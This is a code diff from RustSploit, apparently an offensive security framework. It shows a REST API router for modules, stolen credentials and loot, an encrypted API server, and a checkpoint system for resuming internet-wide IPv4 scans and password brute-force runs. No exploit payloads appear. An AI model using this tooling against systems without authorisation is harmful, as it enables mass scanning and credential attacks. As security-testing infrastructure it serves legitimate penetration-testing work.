"search_modules"
}
("GET", "module", Some(_), _) => {
// /api/module/<modulepath...> — everything after /module/ is the module path.
let module_path = &path["/module/".len()..];
params.insert("path".to_string(), Value::String(module_path.to_string()));
"module_info"
}
// ── Run / Check / Honeypot ──────────────────────────────────
("POST", "run", None, _) => {
body_into_params!(params, body_obj);
"run_module"
}
("POST", "run", Some("all"), _) | ("POST", "run_all", None, _) => {
// There is no multi-module runner; these routes previously aliased
// run_module (which needs a single `module`), so they advertised a
// capability that does not exist. Be explicit rather than misleading.
return err_resp(
StatusCode::NOT_IMPLEMENTED,
"NOT_IMPLEMENTED",
"Multi-module run is not implemented. POST /api/run with an explicit `module` per request (enumerate via GET /api/modules and loop client-side).",
);
}
("POST", "honeypot-check", None, _) => {
body_into_params!(params, body_obj);
"honeypot_check"
}
// ── Target ──────────────────────────────────────────────────
("GET", "target", None, _) => "get_target",
("POST", "target", None, _) => {
body_into_params!(params, body_obj);
"set_target"
}
("DELETE", "target", None, _) => "clear_target",
// ── Options ─────────────────────────────────────────────────
("GET", "options", None, _) => "list_options",
("POST", "options", None, _) => {
// set_option takes the multi-key body directly.
body_into_params!(params, body_obj);
"set_option"
}
("DELETE", "options", None, _) => {
let tenant_name = identity.client_name.clone();
// Fail closed, same as the main dispatcher.
if let Err(e) = crate::tenant::resolve_for(&tenant_name) {
return err_resp(StatusCode::SERVICE_UNAVAILABLE, "TENANT_REJECTED", &e);
}
if body_obj.is_empty() {
return err_resp(StatusCode::BAD_REQUEST, "INVALID_INPUT", "Request body must list at least one option key to delete");
}
let mut deleted = Vec::new();
let mut errors = Vec::new();
for k in body_obj.keys() {
let single = json!({ "key": k });
let tn = tenant_name.clone();
let result = crate::tenant::CURRENT_TENANT
.scope(tn, crate::ws::dispatch_rpc("delete_option", &single))
.await;
match result {
Ok(v) => deleted.push(v),
Err((code, msg)) => errors.push(json!({"key": k, "code": code, "error": msg})),
}
}
// If nothing was deleted and everything errored, surface a non-2xx
// so a client can't mistake an all-failed delete for success.
if deleted.is_empty() && !errors.is_empty() {
let all_not_found = errors
.iter()
.all(|e| e.get("code").and_then(|c| c.as_str()) == Some("NOT_FOUND"));
let status = if all_not_found { StatusCode::NOT_FOUND } else { StatusCode::CONFLICT };
return (status, Json(json!({ "data": { "deleted": deleted, "errors": errors } }))).into_response();
}
return ok(json!({
"data": { "deleted": deleted, "errors": errors }
}));
}
// ── Credentials ─────────────────────────────────────────────
("GET", "creds", None, _) => {
merge_query!(params, query, ["host", "service", "search"]);
merge_query_int!(params, query, ["limit", "offset"]);
if let Some(v) = query.get("reveal")
&& (v == "1" || v.eq_ignore_ascii_case("true")) {
params.insert("reveal".to_string(), Value::Bool(true));
}
"list_creds"
}
("GET", "creds", Some("search"), _) => {
merge_query!(params, query, ["q"]);
"search_creds"
}
("POST", "creds", None, _) => {
body_into_params!(params, body_obj);
"add_cred"
}
("DELETE", "creds", None, _) => {
body_into_params!(params, body_obj);
"delete_cred"
}
("POST", "creds", Some("clear"), _) => "clear_creds",
// ── Hosts ───────────────────────────────────────────────────
("GET", "hosts", None, _) => {
merge_query!(params, query, ["os", "search"]);
merge_query_int!(params, query, ["limit", "offset"]);
"list_hosts"
}
("POST" | "PUT", "hosts", None, _) => {
body_into_params!(params, body_obj);
"add_host"
}
("DELETE", "hosts", None, _) => {
body_into_params!(params, body_obj);
"delete_host"
}
("POST", "hosts", Some("notes"), _) => {
body_into_params!(params, body_obj);
"add_host_note"
}
("POST", "hosts", Some("clear"), _) => "clear_hosts",
// ── Services ────────────────────────────────────────────────
("GET", "services", None, _) => {
merge_query!(params, query, ["host", "search"]);
merge_query_int!(params, query, ["port", "limit", "offset"]);
"list_services"
}
("POST", "services", None, _) => {
body_into_params!(params, body_obj);
"add_service"
}
("DELETE", "services", None, _) => {
body_into_params!(params, body_obj);
"delete_service"
}
// ── Loot ────────────────────────────────────────────────────
("GET", "loot", None, _) => {
merge_query!(params, query, ["host", "loot_type", "search"]);
merge_query_int!(params, query, ["limit", "offset"]);
"list_loot"
}
("GET", "loot", Some("search"), _) => {
merge_query!(params, query, ["q"]);
"search_loot"
}
("POST", "loot", None, _) => {
body_into_params!(params, body_obj);
"add_loot"
}
("DELETE", "loot", None, _) => {
body_into_params!(params, body_obj);
"delete_loot"
}
("POST", "loot", Some("clear"), _) => "clear_loot",
// ── Workspace ───────────────────────────────────────────────
("GET", "workspace", None, _) => "get_workspace",
("POST", "workspace", None, _) => {
body_into_params!(params, body_obj);
"switch_workspace"
}
("GET", "workspaces", None, _) => "list_workspaces",
// ── Jobs ────────────────────────────────────────────────────
("GET", "jobs", None, _) => "list_jobs",
("POST", "jobs", Some("limit"), _) => {
body_into_params!(params, body_obj);
"set_job_limit"
}
("GET", "jobs", Some(id), _) => {
if let Ok(n) = id.parse::<u64>() {
params.insert("id".to_string(), Value::Number(n.into()));
} else {
return err_resp(StatusCode::BAD_REQUEST, "INVALID_INPUT", "job id must be numeric");
}
merge_query_int!(params, query, ["from"]);
"get_job"
}
("DELETE", "jobs", Some(id), _) => {
if let Ok(n) = id.parse::<u64>() {
params.insert("id".to_string(), Value::Number(n.into()));
} else {
return err_resp(StatusCode::BAD_REQUEST, "INVALID_INPUT", "job id must be numeric");
}
"kill_job"
}
("DELETE", "jobs", None, _) => {
// Body-style {id: N} — accept either a number or a numeric string.
if let Some(id_val) = body_obj.get("id") {
if let Some(n) = id_val.as_u64() {
params.insert("id".to_string(), Value::Number(n.into()));
} else if let Some(s) = id_val.as_str().and_then(|s| s.parse::<u64>().ok()) {
params.insert("id".to_string(), Value::Number(s.into()));
} else {
return err_resp(StatusCode::BAD_REQUEST, "INVALID_INPUT", "invalid job id");
}
} else {
return err_resp(StatusCode::BAD_REQUEST, "INVALID_INPUT", "job id is required");
}
"kill_job"
}
// ── Spool ───────────────────────────────────────────────────
("GET", "spool", None, _) => "spool_status",
("POST", "spool", None, _) => {
// Body shape: {action: "start"|"stop", filename?: ...}
let action = body_obj
.get("action")
.and_then(|v| v.as_str())
.unwrap_or("");
match action {
"start" => {
if let Some(f) = body_obj.get("filename") {
params.insert("filename".to_string(), f.clone());
}
"spool_start"
}
"stop" => "spool_stop",
_ => {
return err_resp(
StatusCode::BAD_REQUEST,
"INVALID_INPUT",
"action must be 'start' or 'stop'",
);
}
}
}
// ── Results ─────────────────────────────────────────────────
("GET", "results", None, _) => "list_results",
("GET", "results", Some(name), _) => {
params.insert("filename".to_string(), Value::String(name.to_string()));
"get_result"
}
// ── Export ──────────────────────────────────────────────────
("GET", "export", None, _) => {
merge_query!(params, query, ["format"]);
"export"
}
// ── Shell (intentionally not exposed via REST until ACL design lands) ─
("POST", "shell", None, _) => {
return err_resp(
StatusCode::NOT_IMPLEMENTED,
"NOT_IMPLEMENTED",
"Shell-over-API is disabled; use individual RPC methods (set_target, run_module, …)",
);
}
// ── Default: nothing matched ────────────────────────────────
_ => {
return err_resp(
StatusCode::NOT_FOUND,
"ROUTE_NOT_FOUND",
&format!("No mapping for {} /api/{}", method, tail),
);
}
};
// Fail closed, mirroring the WS dispatch guard (ws.rs): only run under a
// tenant that still resolves. `tenant::resolve()` silently falls back to the
// process-global stores when the registry rejects a tenant (e.g. the
// MAX_TENANTS cap is hit), which would otherwise let a REST caller read and
// write another tenant's loot/creds/options/jobs.
if let Err(e) = crate::tenant::resolve_for(&identity.client_name) {
return err_resp(StatusCode::SERVICE_UNAVAILABLE, "TENANT_REJECTED", &e);
}
crate::tenant::CURRENT_TENANT
.scope(
identity.client_name,
invoke_rpc(rpc_method, Value::Object(params)),
)
.await
}
// ─── Server Entry Point ─────────────────────────────────────────────
pub async fn start_api_server(
bind_address: &str,
verbose: bool,
host_key_path: &std::path::Path,
authorized_keys_path: &std::path::Path,
passphrase: Option<&str>,
) -> Result<()> {
if verbose {
tracing::info!("Starting API server in verbose mode");
}
// We don't refuse any bind address. The bootstrap path is gated by a
// one-time enrollment token printed at startup (see /pq/register-key),
// not by the bind interface — the token is the sole authority that
// permits the very first authorized_keys entry.
let host_identity = crate::pq_channel::HostIdentity::load_or_generate(host_key_path, passphrase)
.context("Failed to load/generate PQ host key")?;
let authorized_keys = crate::pq_channel::load_authorized_keys(authorized_keys_path)
.context("Failed to load authorized keys")?;
let pq_sessions = crate::pq_channel::new_session_store();
let n_plugins = crate::commands::plugin_count();
if n_plugins > 0 {
eprintln!("{}", "[!] WARNING: Third-party plugins loaded. RustSploit is NOT responsible for third-party plugin behavior.".red().bold());
eprintln!("[!] Loaded plugins: {}", n_plugins);
}
println!("Starting RustSploit WS server (PQ-encrypted)...");
println!("Binding to: {}", bind_address);
println!("Host key fingerprint: {}", host_identity.fingerprint());
println!("Authorized clients: {}", authorized_keys.len());
for key in &authorized_keys {
println!(" {} ({})",
key.name,
crate::pq_channel::fingerprint(&[&key.x25519_public, &key.mlkem_ek, &key.mceliece_public]));
}
// Generate a one-time enrollment token. Operators bootstrap remote
// clients by POSTing their PQ public keys to /pq/register-key with this
// token. The token is printed at startup, held only in memory, and
// consumed on first successful registration. Subsequent key changes
// must use the established PQ session.
let enrollment_token = crate::pq_channel::generate_enrollment_token();
let enrollment_token_print = enrollment_token.clone();
let pq_state = Arc::new(crate::pq_middleware::PqSharedState {
sessions: pq_sessions,
host_identity: Arc::new(host_identity),
authorized_keys: tokio::sync::RwLock::new(authorized_keys),
authorized_keys_path: authorized_keys_path.to_path_buf(),
handshake_rate_limiter: crate::pq_middleware::new_handshake_rate_limiter(),
enrollment_token: tokio::sync::Mutex::new(Some(enrollment_token)),
});
let cleanup_sessions = pq_state.sessions.clone();
let cleanup_rate_limiter = pq_state.handshake_rate_limiter.clone();
tokio::spawn(async move {
let mut interval = tokio::time::interval(std::time::Duration::from_secs(300));
loop {
interval.tick().await;
// Two-phase cleanup: first take a SHORT read lock to scan
// last_activity (locking each session's mutex non-blockingly),
// then take the write lock only to remove the doomed entries.
// This keeps the map readable during the bulk of the work.
let doomed: Vec<[u8; 16]> = {
let store = cleanup_sessions.read().await;
let mut out = Vec::new();
for (id, sess_arc) in store.iter() {
if let Ok(sess) = sess_arc.try_lock()
&& sess.last_activity.elapsed() >= std::time::Duration::from_secs(3600) {
out.push(*id);
}
}
out
};
let removed_n = if !doomed.is_empty() {
let mut store = cleanup_sessions.write().await;
let mut n = 0usize;
for id in &doomed {
if store.remove(id).is_some() { n += 1; }
}
n
} else { 0 };
if removed_n > 0 {
let remaining = cleanup_sessions.read().await.len();
tracing::info!("PQ session cleanup: removed {} idle sessions ({} remaining)", removed_n, remaining);
}
let mut limiter = cleanup_rate_limiter.lock().await;
limiter.retain(|_, timestamps| {
timestamps.retain(|t| t.elapsed() < std::time::Duration::from_secs(120));
!timestamps.is_empty()
});
}
});
// The PQ middleware MUST be the outermost wrapper for /api/* so it can
// see the encrypted body before any extractor tries to parse it. Mount
// it as a `route_layer` so it only runs on the /api/* surface and not
// on /health, /pq/handshake, /pq/ws which speak their own protocols.
let api_router: Router = Router::new()
// Specific routes BEFORE the catch-all so the dispatcher doesn't
// swallow them. Identity revocation lives behind the PQ middleware
// so the request is AEAD-authenticated by an existing client.
.route("/api/pq/revoke-key", post(crate::pq_middleware::revoke_key_handler))
.route("/api/{*tail}", any(api_dispatcher))
.route_layer(axum::middleware::from_fn(crate::pq_middleware::pq_middleware));
// Cap the JSON request body explicitly. Axum's default is 2 MiB, but we
// pin it here so a future caller can't disable it upstream by accident.
const MAX_REQUEST_BODY: usize = 2 * 1024 * 1024;
let app = Router::new()
.route("/health", get(health_check))
.route("/pq/handshake", post(crate::pq_middleware::handshake_handler))
.route("/pq/register-key", post(crate::pq_middleware::register_key_handler))
.route("/pq/ws", get(crate::ws::ws_upgrade))
.merge(api_router)
.layer(axum::extract::DefaultBodyLimit::max(MAX_REQUEST_BODY))
.layer(axum::Extension(pq_state))
.layer(
ServiceBuilder::new()
.layer(TraceLayer::new_for_http()),
);
println!("Server running on http://{}", bind_address);
println!("Transport: Post-Quantum encryption (ML-KEM-768 + X25519 + ChaCha20-Poly1305)");
println!(
"Endpoints: GET /health, POST /pq/handshake, POST /pq/register-key, GET /pq/ws, ALL /api/*"
);
println!();
println!("{}", "═══════════════════════════════════════════════════════════════".cyan());
println!("{} {}", "ENROLLMENT TOKEN (one-time, prints once):".yellow().bold(), enrollment_token_print.bright_white().bold());
println!("{}", "Bootstrap a client by POSTing its PQ public keys + this".dimmed());
println!("{}", "token to POST /pq/register-key:".dimmed());
println!("{}", " { token, name, x25519_pub, mlkem_ek }".dimmed());
println!("{}", "After first successful registration the token is consumed; further".dimmed());
println!("{}", "key changes must go through the established PQ session.".dimmed());
println!("{}", "═══════════════════════════════════════════════════════════════".cyan());
println!();
let listener = tokio::net::TcpListener::bind(bind_address)
.await
.context(format!("Failed to bind to {}", bind_address))?;
axum::serve(
listener,
app.into_make_service_with_connect_info::<SocketAddr>(),
)
.await
.context("API server error")?;
Ok(())
}
+480
View File
@@ -0,0 +1,480 @@
// src/checkpoint.rs
//
// Crash-resumable checkpoints for long-running mass scans.
//
// The scheduler periodically writes the set of already-processed targets to
// `~/.rustsploit/checkpoints/<scan_id>.json`. On restart, `--resume <scan_id>`
// loads the file, skips processed targets, and continues from where the
// crash interrupted.
//
// Format (append-only, line-delimited):
// line 1: {"scan_id":"...","module":"scanners/port_scanner","target":"10.0.0.0/16","started":"2026-05-07T..."}
// line 2+: one processed target per line ("10.0.0.1", "10.0.0.2", ...)
//
// Each flush *appends* only the newly-processed targets rather than
// re-serializing the entire (potentially multi-million entry) set, so the
// total bytes written over a scan is O(n) instead of O(n²). Bounded by
// `MAX_CHECKPOINT_ENTRIES` to keep memory + disk usage in check on huge scans.
// A crash may leave a partial trailing line; the loader simply ignores any
// line that isn't a valid entry.
use std::collections::HashSet;
use std::path::{Path, PathBuf};
use std::sync::Arc;
use anyhow::{Context, Result};
use serde::{Deserialize, Serialize};
use tokio::io::AsyncWriteExt;
use tokio::sync::Mutex;
const MAX_CHECKPOINT_ENTRIES: usize = 10_000_000;
const FLUSH_EVERY_N: usize = 200;
/// In-memory / returned representation of a checkpoint.
#[derive(Debug, Clone)]
pub struct Checkpoint {
pub scan_id: String,
pub module: String,
pub target: String,
pub started: String,
pub processed: Vec<String>,
}
/// On-disk header line (everything except the processed entries, which are
/// stored one-per-line after it).
#[derive(Debug, Clone, Serialize, Deserialize)]
struct CheckpointHeader {
scan_id: String,
module: String,
target: String,
started: String,
}
/// Read an append-only checkpoint file into a `Checkpoint`. The first line is
/// the JSON header; each subsequent non-empty line is a processed target.
/// Malformed lines (e.g. a torn final line after a crash) are skipped.
fn load_from_path(path: &Path) -> Result<Checkpoint> {
let raw = std::fs::read_to_string(path)
.with_context(|| format!("read {}", path.display()))?;
let mut lines = raw.lines();
let header_line = lines.next().unwrap_or("");
let header: CheckpointHeader = serde_json::from_str(header_line)
.with_context(|| format!("parse header of {}", path.display()))?;
let processed: Vec<String> = lines
.map(str::trim)
.filter(|l| !l.is_empty())
.map(|l| l.to_string())
.collect();
Ok(Checkpoint {
scan_id: header.scan_id,
module: header.module,
target: header.target,
started: header.started,
processed,
})
}
/// Live writer for an in-progress scan. Tracks processed targets in memory
/// (bounded by `MAX_CHECKPOINT_ENTRIES`) and flushes to disk every
/// `FLUSH_EVERY_N` records or when explicitly requested.
pub struct CheckpointWriter {
inner: Arc<Mutex<Inner>>,
}
struct Inner {
cp: Checkpoint,
seen: HashSet<String>,
pending_writes: usize,
/// Count of `cp.processed` entries already appended to disk.
persisted: usize,
/// Whether the header line has been written (true for resumed files).
header_written: bool,
/// Set once the entry cap is hit, so the "records dropped" warning is
/// emitted a single time rather than per-record.
cap_warned: bool,
path: PathBuf,
closed: bool,
}
impl CheckpointWriter {
/// Create or resume a checkpoint. If `~/.rustsploit/checkpoints/<scan_id>.json`
/// already exists, the previously-processed set is loaded.
pub fn open(scan_id: &str, module: &str, target: &str) -> Result<Self> {
let path = checkpoint_path(scan_id);
if let Some(parent) = path.parent() {
std::fs::create_dir_all(parent)
.with_context(|| format!("create {}", parent.display()))?;
}
let exists = path.exists();
let cp = if exists {
load_from_path(&path)?
} else {
Checkpoint {
scan_id: scan_id.to_string(),
module: module.to_string(),
target: target.to_string(),
started: chrono::Utc::now().to_rfc3339(),
processed: Vec::new(),
}
};
let seen: HashSet<String> = cp.processed.iter().cloned().collect();
let persisted = cp.processed.len();
Ok(Self {
inner: Arc::new(Mutex::new(Inner {
cp,
seen,
pending_writes: 0,
persisted,
header_written: exists,
cap_warned: false,
path,
closed: false,
})),
})
}
/// True if the given target was already processed in a prior run.
pub async fn already_processed(&self, target: &str) -> bool {
let g = self.inner.lock().await;
g.seen.contains(target)
}
/// Mark a target processed. Triggers a disk flush every `FLUSH_EVERY_N`.
pub async fn record(&self, target: &str) -> Result<()> {
let mut g = self.inner.lock().await;
if g.seen.len() >= MAX_CHECKPOINT_ENTRIES {
// Past the cap we can no longer persist progress; targets recorded
// from here on will be re-scanned on resume. Surface this once
// instead of silently dropping records (which would look identical
// to "successfully checkpointed").
if !g.cap_warned {
g.cap_warned = true;
tracing::warn!(
"checkpoint entry cap ({}) reached — further targets will not be persisted and may be re-scanned on resume",
MAX_CHECKPOINT_ENTRIES
);
}
return Ok(());
}
if !g.seen.insert(target.to_string()) {
return Ok(());
}
g.cp.processed.push(target.to_string());
g.pending_writes += 1;
if g.pending_writes >= FLUSH_EVERY_N {
flush_locked(&mut g).await?;
}
Ok(())
}
/// Force a flush to disk (call before exiting cleanly).
pub async fn flush(&self) -> Result<()> {
let mut g = self.inner.lock().await;
if !g.closed {
flush_locked(&mut g).await?;
}
Ok(())
}
/// Mark the checkpoint complete and remove the file.
pub async fn finish(&self) -> Result<()> {
let mut g = self.inner.lock().await;
g.closed = true;
if g.path.exists() {
tokio::fs::remove_file(&g.path).await
.with_context(|| format!("rm {}", g.path.display()))?;
}
Ok(())
}
/// Number of targets already processed.
pub async fn count(&self) -> usize {
self.inner.lock().await.seen.len()
}
}
async fn flush_locked(g: &mut tokio::sync::MutexGuard<'_, Inner>) -> Result<()> {
// Build only the not-yet-persisted suffix so each flush is O(batch).
let mut buf = String::new();
if !g.header_written {
let header = CheckpointHeader {
scan_id: g.cp.scan_id.clone(),
module: g.cp.module.clone(),
target: g.cp.target.clone(),
started: g.cp.started.clone(),
};
buf.push_str(&serde_json::to_string(&header)?);
buf.push('\n');
}
for entry in &g.cp.processed[g.persisted..] {
// Entries are IPs/hostnames; guard against any stray newline so the
// line-delimited format stays parseable.
buf.push_str(&entry.replace(['\n', '\r'], ""));
buf.push('\n');
}
let mut file = tokio::fs::OpenOptions::new()
.create(true)
.append(true)
.open(&g.path)
.await
.with_context(|| format!("open {} for append", g.path.display()))?;
file.write_all(buf.as_bytes())
.await
.with_context(|| format!("append {}", g.path.display()))?;
// Propagate flush failures: if the bytes did not reach the OS we must NOT
// advance `persisted`/`header_written` below, or those entries would never
// be re-appended and the checkpoint would silently lose processed hosts.
file.flush()
.await
.with_context(|| format!("flush {}", g.path.display()))?;
g.header_written = true;
g.persisted = g.cp.processed.len();
g.pending_writes = 0;
Ok(())
}
/// Base checkpoints directory for the current tenant.
///
/// In multi-tenant API mode each tenant gets its own namespace
/// (`~/.rustsploit/checkpoints/tenants/<tenant>/`) so concurrent tenants
/// scanning the same module+target do not share one checkpoint file (which
/// would cross-leak processed targets, interleave appends, and let one
/// tenant's `finish()` delete the file out from under another). Shell mode
/// (no tenant context) keeps the historical process-global path
/// (`~/.rustsploit/checkpoints/`) for backwards compatibility.
fn checkpoints_base_dir() -> PathBuf {
let base = home::home_dir()
.unwrap_or_else(|| PathBuf::from("."))
.join(".rustsploit")
.join("checkpoints");
match crate::context::current_tenant_id() {
Some(tid) => {
let tid = sanitize(&tid);
if tid.is_empty() {
base
} else {
base.join("tenants").join(tid)
}
}
None => base,
}
}
fn checkpoint_path(scan_id: &str) -> PathBuf {
checkpoints_base_dir().join(format!("{}.json", sanitize(scan_id)))
}
// ---- Sequential-scan high-water-mark resume -----------------------------
//
// A sequential full-public-IPv4 sweep can dispatch billions of addresses, so
// the per-target set used by random/CIDR scans does not scale. Sequential scans
// instead store a single high-water IPv4 (as a u32) — the last dispatched
// address — and resume from `hi + 1`.
fn seq_marker_path(scan_id: &str) -> PathBuf {
checkpoints_base_dir().join(format!("{}.seq", sanitize(scan_id)))
}
/// Read the sequential resume point (last dispatched IPv4 as u32), if any.
pub fn read_seq_marker(scan_id: &str) -> Option<u32> {
let path = seq_marker_path(scan_id);
match std::fs::read_to_string(&path) {
Ok(s) => match s.trim().parse::<u32>() {
Ok(v) => Some(v),
Err(e) => {
tracing::debug!("seq marker {} unparseable: {e}", path.display());
None
}
},
Err(e) if e.kind() == std::io::ErrorKind::NotFound => None,
Err(e) => {
tracing::debug!("seq marker read {} failed: {e}", path.display());
None
}
}
}
/// Persist the sequential high-water IPv4 (best-effort; logs at debug on error).
pub fn write_seq_marker(scan_id: &str, ip: u32) {
let path = seq_marker_path(scan_id);
if let Some(parent) = path.parent()
&& let Err(e) = std::fs::create_dir_all(parent)
{
tracing::debug!("seq marker mkdir {} failed: {e}", parent.display());
return;
}
if let Err(e) = std::fs::write(&path, ip.to_string()) {
tracing::debug!("seq marker write {} failed: {e}", path.display());
}
}
/// Remove the sequential marker on clean completion (best-effort).
pub fn clear_seq_marker(scan_id: &str) {
let path = seq_marker_path(scan_id);
match std::fs::remove_file(&path) {
Ok(()) => {}
Err(e) if e.kind() == std::io::ErrorKind::NotFound => {}
Err(e) => tracing::debug!("seq marker remove {} failed: {e}", path.display()),
}
}
// ---- Streaming-bruteforce batch resume ----------------------------------
//
// A streaming bruteforce of a large password wordlist processes the file in
// fixed-size batches. With `setg bruteforce_resume y` the engine records the
// index of the last fully-completed batch, keyed by (target, port, wordlist,
// size), so an interrupted run skips already-tried batches on restart.
fn bruteforce_marker_path(key: &str) -> PathBuf {
checkpoints_base_dir().join(format!("{}.bfr", sanitize(key)))
}
/// Read the last fully-completed batch index for a streaming bruteforce, or 0
/// when there is no marker (start from the beginning).
pub fn read_bruteforce_marker(key: &str) -> usize {
let path = bruteforce_marker_path(key);
match std::fs::read_to_string(&path) {
Ok(s) => match s.trim().parse::<usize>() {
Ok(v) => v,
Err(e) => {
tracing::debug!("bruteforce marker {} unparseable: {e}", path.display());
0
}
},
Err(e) if e.kind() == std::io::ErrorKind::NotFound => 0,
Err(e) => {
tracing::debug!("bruteforce marker read {} failed: {e}", path.display());
0
}
}
}
/// Persist the last fully-completed batch index (best-effort; logs at debug).
pub fn write_bruteforce_marker(key: &str, batch_idx: usize) {
let path = bruteforce_marker_path(key);
if let Some(parent) = path.parent()
&& let Err(e) = std::fs::create_dir_all(parent)
{
tracing::debug!("bruteforce marker mkdir {} failed: {e}", parent.display());
return;
}
if let Err(e) = std::fs::write(&path, batch_idx.to_string()) {
tracing::debug!("bruteforce marker write {} failed: {e}", path.display());
}
}
/// Remove the bruteforce batch marker on clean completion (best-effort).
pub fn clear_bruteforce_marker(key: &str) {
let path = bruteforce_marker_path(key);
match std::fs::remove_file(&path) {
Ok(()) => {}
Err(e) if e.kind() == std::io::ErrorKind::NotFound => {}
Err(e) => tracing::debug!("bruteforce marker remove {} failed: {e}", path.display()),
}
}
fn sanitize(s: &str) -> String {
s.chars()
.map(|c| {
if c.is_ascii_alphanumeric() || c == '_' || c == '-' {
c
} else {
'_'
}
})
.collect()
}
/// Collect `*.json` checkpoints directly inside `dir` into `out` (non-recursive).
fn collect_checkpoints_in(dir: &Path, out: &mut Vec<Checkpoint>) {
let entries = match std::fs::read_dir(dir) {
Ok(e) => e,
Err(e) => { tracing::debug!("skipping checkpoint dir {}: {e}", dir.display()); return; }
};
for entry in entries.flatten() {
let path = entry.path();
if path.extension().and_then(|e| e.to_str()) != Some("json") {
continue;
}
match load_from_path(&path) {
Ok(cp) => out.push(cp),
Err(e) => { tracing::debug!("skipping unreadable checkpoint {}: {e}", path.display()); }
}
}
}
/// List all on-disk checkpoints (for `rustsploit --list-checkpoints`).
///
/// Includes the process-global checkpoints (shell mode) plus every
/// per-tenant namespace under `checkpoints/tenants/<tenant>/`, so the
/// listing is complete regardless of which tenant wrote each one.
pub fn list_checkpoints() -> Result<Vec<Checkpoint>> {
let dir = home::home_dir()
.unwrap_or_else(|| PathBuf::from("."))
.join(".rustsploit")
.join("checkpoints");
if !dir.exists() {
return Ok(Vec::new());
}
let mut out = Vec::new();
// Process-global (shell-mode) checkpoints.
collect_checkpoints_in(&dir, &mut out);
// Per-tenant namespaces.
let tenants_dir = dir.join("tenants");
if tenants_dir.is_dir() {
match std::fs::read_dir(&tenants_dir) {
Ok(entries) => {
for entry in entries.flatten() {
let tpath = entry.path();
if tpath.is_dir() {
collect_checkpoints_in(&tpath, &mut out);
}
}
}
Err(e) => tracing::debug!("read tenants checkpoint dir {} failed: {e}", tenants_dir.display()),
}
}
out.sort_by(|a, b| a.started.cmp(&b.started));
Ok(out)
}
/// Generate a default scan_id from the module + target — deterministic so
/// resuming works without the operator remembering an ID.
pub fn auto_scan_id(module: &str, target: &str) -> String {
use sha2::{Digest, Sha256};
let mut h = Sha256::new();
h.update(module.as_bytes());
h.update(b"\0");
h.update(target.as_bytes());
let digest = h.finalize();
format!("{}-{}", module.replace('/', "_"), &hex::encode(digest)[..8])
}
/// True if a checkpoint exists for the (module, target) pair.
pub fn has_existing(module: &str, target: &str) -> bool {
let id = auto_scan_id(module, target);
checkpoint_path(&id).exists()
}
/// Public helper for callers that just want the path without opening.
pub fn path_for(scan_id: &str) -> PathBuf {
checkpoint_path(scan_id)
}
/// Trivially-readable summary line.
impl std::fmt::Display for Checkpoint {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
write!(
f,
"{} module={} target={} processed={} started={}",
self.scan_id,
self.module,
self.target,
self.processed.len(),
self.started,
)
}
}
+70 -6
View File
@@ -1,13 +1,8 @@
use clap::{ArgGroup, Parser};
use clap::Parser;
/// Simple RouterSploit-like CLI in Rust
#[derive(Parser, Debug)]
#[command(author, version, about, long_about = None)]
#[clap(group(
ArgGroup::new("mode")
.required(false)
.args(&["command"])
))]
pub struct Cli {
/// Subcommand to run (e.g. "exploit", "scanner", "creds")
pub command: Option<String>,
@@ -19,4 +14,73 @@ pub struct Cli {
/// Module name to use
#[arg(short, long)]
pub module: Option<String>,
/// Launch API server mode
#[arg(long)]
pub api: bool,
/// Path to PQ authorized keys file (default: ~/.rustsploit/pq_authorized_keys)
#[arg(long, requires = "api")]
pub pq_authorized_keys: Option<String>,
/// Network interface to bind API server to (default: 127.0.0.1)
#[arg(long, requires = "api", default_value = "127.0.0.1")]
pub interface: Option<String>,
/// Set global target IP/subnet for all modules
#[arg(long)]
pub set_target: Option<String>,
/// Enable verbose output (shows detailed operation logs)
#[arg(short, long)]
pub verbose: bool,
/// List all available modules and exit
#[arg(long)]
pub list_modules: bool,
/// Regenerate `docs/Module-Catalog.md` from the live module registry
/// and exit. Replaces hand-maintained module counts/lists.
#[arg(long)]
pub gen_module_catalog: bool,
/// List all on-disk scan checkpoints from `~/.rustsploit/checkpoints/`
/// and exit. CIDR / random / file fan-outs are checkpointed
/// automatically; rerunning the same `(module, target)` resumes.
#[arg(long)]
pub list_checkpoints: bool,
/// Execute a resource script file on startup
#[arg(short = 'r', long = "resource")]
pub resource: Option<String>,
/// Path to PQ host key file (default: ~/.rustsploit/pq_host_key)
#[arg(long, requires = "api")]
pub pq_host_key: Option<String>,
/// Launch MCP (Model Context Protocol) server over stdio
#[arg(long)]
pub mcp: bool,
/// Enable strict TLS verification for all modules. Without this flag, the
/// framework's `permissive()` HTTP client builder accepts self-signed
/// certs (historical behavior — many target devices use self-signed
/// certs). Setting this flag flips the default to verifying TLS, matching
/// the standard browser/curl posture. Modules that legitimately need
/// permissive TLS can still opt in explicitly.
#[arg(long)]
pub strict_tls: bool,
/// Trust X-Forwarded-For (and similar) for client-IP attribution in
/// rate limiting. Off by default — only enable when the daemon is behind
/// a proxy you trust to scrub the header. Without this flag, the
/// per-IP handshake limiter uses the TCP peer address.
#[arg(long, requires = "api")]
pub trust_proxy: bool,
/// Passphrase for encrypting/decrypting the PQ host key at rest.
/// When set, the host key file is encrypted with argon2id + ChaCha20-Poly1305.
/// If omitted in API mode, the operator is prompted interactively on first run.
#[arg(long, requires = "api")]
pub pq_key_passphrase: Option<String>,
}
-7
View File
@@ -1,7 +0,0 @@
use anyhow::Result;
include!(concat!(env!("OUT_DIR"), "/creds_dispatch.rs"));
pub async fn run_cred_check(module_name: &str, target: &str) -> Result<()> {
dispatch(module_name, target).await
}
-80
View File
@@ -1,80 +0,0 @@
use std::collections::HashSet;
use std::env;
use std::fs::{self, File};
use std::io::Write;
use std::path::{Path, PathBuf};
fn main() {
let out_dir = env::var("OUT_DIR").unwrap();
let dest_path = Path::new(&out_dir).join("cred_dispatch.rs");
let mut file = File::create(&dest_path).unwrap();
let creds_root = Path::new("src/modules/creds");
let mut mappings: HashSet<(String, String)> = HashSet::new();
// Traverse all .rs files (excluding mod.rs)
visit_all_rs(creds_root, "".to_string(), &mut mappings).unwrap();
// Generate dispatch function
writeln!(
file,
"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
).unwrap();
for (key, mod_path) in &mappings {
let short_key = key.rsplit('/').next().unwrap_or(&key);
let mod_code_path = mod_path.replace("/", "::");
writeln!(
file,
r#" "{short}" | "{full}" => {{ crate::modules::creds::{path}::run(target).await? }},"#,
short = short_key,
full = key,
path = mod_code_path
).unwrap();
}
writeln!(
file,
r#" _ => anyhow::bail!("Cred module '{{}}' not found.", module_name),"#
).unwrap();
writeln!(file, " }}\n Ok(())\n}}").unwrap();
}
